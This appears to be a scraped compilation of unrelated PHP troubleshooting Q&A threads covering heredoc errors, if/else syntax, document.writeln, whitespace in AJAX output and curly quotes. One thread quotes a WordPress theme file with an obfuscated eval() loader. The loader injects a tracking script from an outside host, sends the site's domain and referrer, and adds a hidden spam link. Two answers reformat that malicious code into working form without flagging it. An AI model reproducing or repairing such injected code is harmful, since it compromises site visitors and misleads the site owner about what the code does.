I have this code, but I'm getting
Parse error: syntax error, unexpected '<<' (T_SL) on line 48
I think the problem is from php code. but, i don't know what is it.
Can someone please explain why this error, or what my script is missing?
Thanks.
<!DOCTYPE html>
<html>
<head>
<!--[if IE]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<script>
function updatemenu() {
if (document.getElementById('responsive-menu').checked == true) {
document.getElementById('menu').style.borderBottomRightRadius = '0';
document.getElementById('menu').style.borderBottomLeftRadius = '0';
}else{
document.getElementById('menu').style.borderRadius = '9px';
}
}
</script>
</head>
<body>
<div id="content">
<center><br><br>
<?php
$uid=<<<EOD
ID : $_POST['user_id']
EOD;
$upw=<<<EOD
PW : $_POST['user_pw']
EOD;
echo $uid;
echo $upw;
?>
</center><br><br><br><br>
</div>
</body>
</html>
While you could use HEREDOC it poses an issue when it comes to spaces as another answer already points out. The way that I would approach it is to use something like the following which works and is easier to read:
<center><br><br>
ID: <?php echo $_POST['user_id']; ?>
PW: <?php echo $_POST['user_pw']; ?>
</center>
Reflecting the user's password back to them on the page isn't advised unless you are just getting a feel for how data moves around pages.
I think you have blank space after EOD, when there should be none. Please remove it and retry. Also remove any proceeding blank space before the ending EOD;
Solution: Remove trailing space after ALL <<<EOD and remove preceding whitespace before ALL the terminating EOD;
Related
I have a very short code snippet but I have been unable to get the result I want. The code is as shown
<?php
$user = true;
if($user==true): ?>
<p>you are already logged in</p>
<?php else: ?>
<p>User value is not set</p>
<?php endif; ?>
on running the code it gives this error:Parse error: syntax error, unexpected 'else' (T_ELSE)
What might be the problem?
It could be a problem with your editor. I had similar problems (more than once) with Atom.
To solve, I just copied the file contents, closed it, reopened, pasted the contents and saved.
The code is fine, as others mentioned in the comments. You should try out this.
#lil your code is looks right only, this is alternate way to get same output if you like you can try this.
<?php
$user = true;
if($user==true)
{
?>
<p>you are already logged in</p>
<?php
}
else
{
?>
<p>User value is not set</p>
<?php
} ?>
I wonder if somebody would spare a minute to look over a code and help me. I'm not php savvy and I need a bit of help.
I've installed a theme onto my wordpress, and when I activated it I got this error message:
Parse error: syntax error, unexpected '}' in /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php on line 1
The message displays on both my front end domain, and also on my back end wordpress admin area.
I'm guessing I've one too many or one too little brackets. But I'm not sure where. I'm unable to see the actual error, because I'm not familiar with php coding. All I know is it is in line 1 and it has to do with "}"
The whole file consists only of 2 code lines, and if anyone can help I'd really appreciate it.
This is the entire code as it appears in functions-init.php
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>
Can anyone help me please. I've goggled and I've searched forums, and the web, yet I didn't find solution.
Thanks ahead.
This may be a mere question of code formatting, try this:
<?php
if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
}
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew'))
{
function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
}
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Such a code formatting issue:
<?php
if (!function_exists('insert_jquery_slider')) {
function insert_jquery_slider()
{ ?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php }
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
function insert_jquery_slidernew()
{ ?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php }
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Please close the topic.
Thanks.
Here is my HTML and I call external PHP
<!DOCTYPE html>
<html>
<body>
<h1>My First Heading</h1>
<script src="index.php"></script>
<p>My first paragraph.</p>
</body>
</html>
and my PHP Script
<?
$strFileName = "poom.bis";
$objFopen = fopen($strFileName, 'r');
if ($objFopen) {
while (!feof($objFopen)) {
$file = fgets($objFopen, 4096);
// echo $file;
echo "document.writeln('$file'+);";
}
fclose($objFopen);
}
$test = "hello world";
echo "document.writeln(
'<ul>'+
'<li>.$test.</li>'+
'<li>test2</li>'+
'<li>test3</li>'+
'</ul>'
);";
?>
It error when using document.write more than one time
What should I do to solve this problem
Please Advice
PS. use echo "document.writeln('$file'+);"; for one time there is no error and show a result
First error: your line
echo "document.writeln('$file'+);";
should be
echo "document.writeln('$file');";
(without the plus sign). Also make sure that the file poom.bis doesn't contain a newline, not even at the end. If it does, you have to strip them away (trim()).
Second error was (until you edited it) the use of document.writeIn (which doesn't exist) instead of document.writeln (which does).
Tested and it works.
Also, while I'm at it, since you asked for advice how to solve this problem: look at your browser's error console and try to debug it.
echo '<script>document.writeln(';
echo '"<ul><li>test1</li><li>test2</li><li>test3</li></ul>"';
echo ');</script>';
;
I've managed to boil this problem down to the bare essentials: So I've got two simple .php files:
TEST.PHP
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<title>My Page</title>
<script src='/root/js/jquery-1.6.3.js'></script>
<script>
$(document).ready(function() {
$.ajax({
url : 'test_ajax.php',
type : 'GET',
timeout : 10000,
dataType : 'text',
data : { 'param' : 'whatever' },
success : function(data,status,jqXHR) {
$('#status').html(data.length+"-"+data);
},
error : function(jqXHR,textStatus,errorThrown) {
$('#status').html("Error: "+textStatus+" , "+errorThrown);
},
complete : function(jqXHR,textStatus) {
}
});
}); // end ready
</script>
</head>
<body>
<p id='status'>
</p>
</body>
</html>
and TEST_AJAX.PHP
<?php
?>
<?php
echo "ok";
?>
The data that should be returned from TEST_AJAX.PHP is "ok". However, what is being retrieved by the jQuery/ajax code is a THREE character string which is outputted as " ok" (although the character at [0] is not equal to " ").
This ONLY happens if I have the two php blocks in TEST_AJAX. If I delete the first block, leaving only the second one, then it returns "ok" as a two character string, as it should.
What on earth is going on here? AFAIK, it should be perfectly acceptable to have multiple php blocks in a .php file - even though it's obviously unnecessary in this simplified example.
Note that there is a blank line between the two php blocks. It also get's displayed. Change it to
<?php
?><?php
echo "ok";
?>
and it should be fine.
PHP is a templating language. Everything outside of your tags will be not parsed and returned literally.
Example
<html>
..
<body>
<?php echo "Hello world";
// white space within the tags
?>
</body>
</html>
Will return
<html>
..
<body>
Hello world
</body>
</html>
White space in the PHP blocks is ignored, but the space between the PHP blocks will always be returned. You may have better luck printing a json string like:
{'response':'ok'}
Then change your data type to json in your ajax request, and accessing the response with data.response
That way any extra spaces will not affect parsing
<html>
<head>
<title>Find my Favorite Movie!</title>
</head>
<body>
<?php
echo “<a href='localhost/moviesite.php?favmovie=Inception'>Inception</a>";
?>
</body>
</html>
Getting the following error for the above code.
Parse error: syntax error, unexpected 'href' (T_STRING), expecting ',' or ';' in C:\xampp\test\movie1.php on line 7
As you can see you have a litteral mistake in
echo “<a href='localhost/moviesite.php?favmovie=Inception'>Inception</a>";
couse “ != "
change it to:
echo "<a href='localhost/moviesite.php?favmovie=Inception'>Inception</a>";
echo 'Inception';
Should do the trick for you
You have an copy and past error try this:
echo "<a href='localhost/moviesite.php?favmovie=Inception'>Inception</a>";
You are using by misstake a wrong quote “ instad of ". Often are quotes replaced wrong by some CMS like Wordpress. So you need to check double that you use the right quotes.